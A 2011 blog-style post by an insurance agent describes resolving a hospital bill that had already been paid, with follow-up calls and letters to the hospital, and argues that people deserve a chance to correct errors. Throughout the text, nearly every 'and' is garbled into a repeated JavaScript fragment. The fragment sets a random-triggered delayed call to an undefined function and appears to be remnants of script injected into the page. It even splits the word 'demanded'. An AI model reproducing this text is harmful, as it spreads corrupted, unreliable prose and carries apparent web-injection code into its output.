Mistakes Happen: Give People a Chance to Correct Things

Recently, a hospital billed a client for $912 that the client did not expect to pay. I asked the client to bring all the papers that pertained to the bill so that I could review it.

For minor billing problems or questions, calling the policy holder services department of the insurance company that issued a Medicare supplement insurance policy is the quickest andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and easiest way to resolve a problem for a senior citizen. But, sometimes, it is too complicated to talk on the phone andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and describe the various correspondence from a medical service provider, Medicare administrators, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the insurance company claims department. Sometimes, it is better to take the papers to your insurance agent’s office to ask for a review. An experienced insurance agent or administrator can review the papers to find the most important parts andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and help to resolve the problem.

When I reviewed the client’s papers, I discovered what I thought was an error on the part of either the hospital or the insurance company. I phoned the insurance company andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and learned that the bill had been paid. I got the check number andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the date of issue. In a letter to the hospital, I explained all of this andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and cited the payment information.

Two weeks later, our client got another letter from the hospital which demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anded payment within five days or the matter would be given to a collection agency or attorney. I phoned the patient accounts department of the hospital. I asked to speak to the department supervisor. I asked for the fax number to the department. My intention was to alert the supervisor that the bill had been paid andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then send copies of my previous correspondence. But, I never got to speak to the supervisor. The person answering the phone told me to “hold” when I asked for the supervisor andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fax number. I waited andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and waited. Then, I gave up on that call.

Then, I called the hospital again andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and got the name andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fax number of the hospital administrator. I wrote a polite letter that explained that the bill had been paid andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that I had tried to discuss it with a supervisor in the patient accounts department, but that I had been put on “hold” andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ignored.

I believe that the hospital administrator will realize that I have been reasonable in my attempts to resolve the problem for our client. But, if the hospital administrator ignores my attempts to resolve the problem, then I will bring this billing problem matter to the attention of state andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and federal officials who regulate hospitals andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and their Medicare billing practices.

But, please, notice something. When there is a problem, I try to be reasonable. Everyone makes mistakes. When mistakes do happen, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it affects our clients’ in a negative way, I try to collect the facts andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then discuss the problem to a resolution. I do that because if I make a mistake, I want others to treat me in like manner.

© 2011 Woodrow Wilcox

www.WoodrowWilcox.com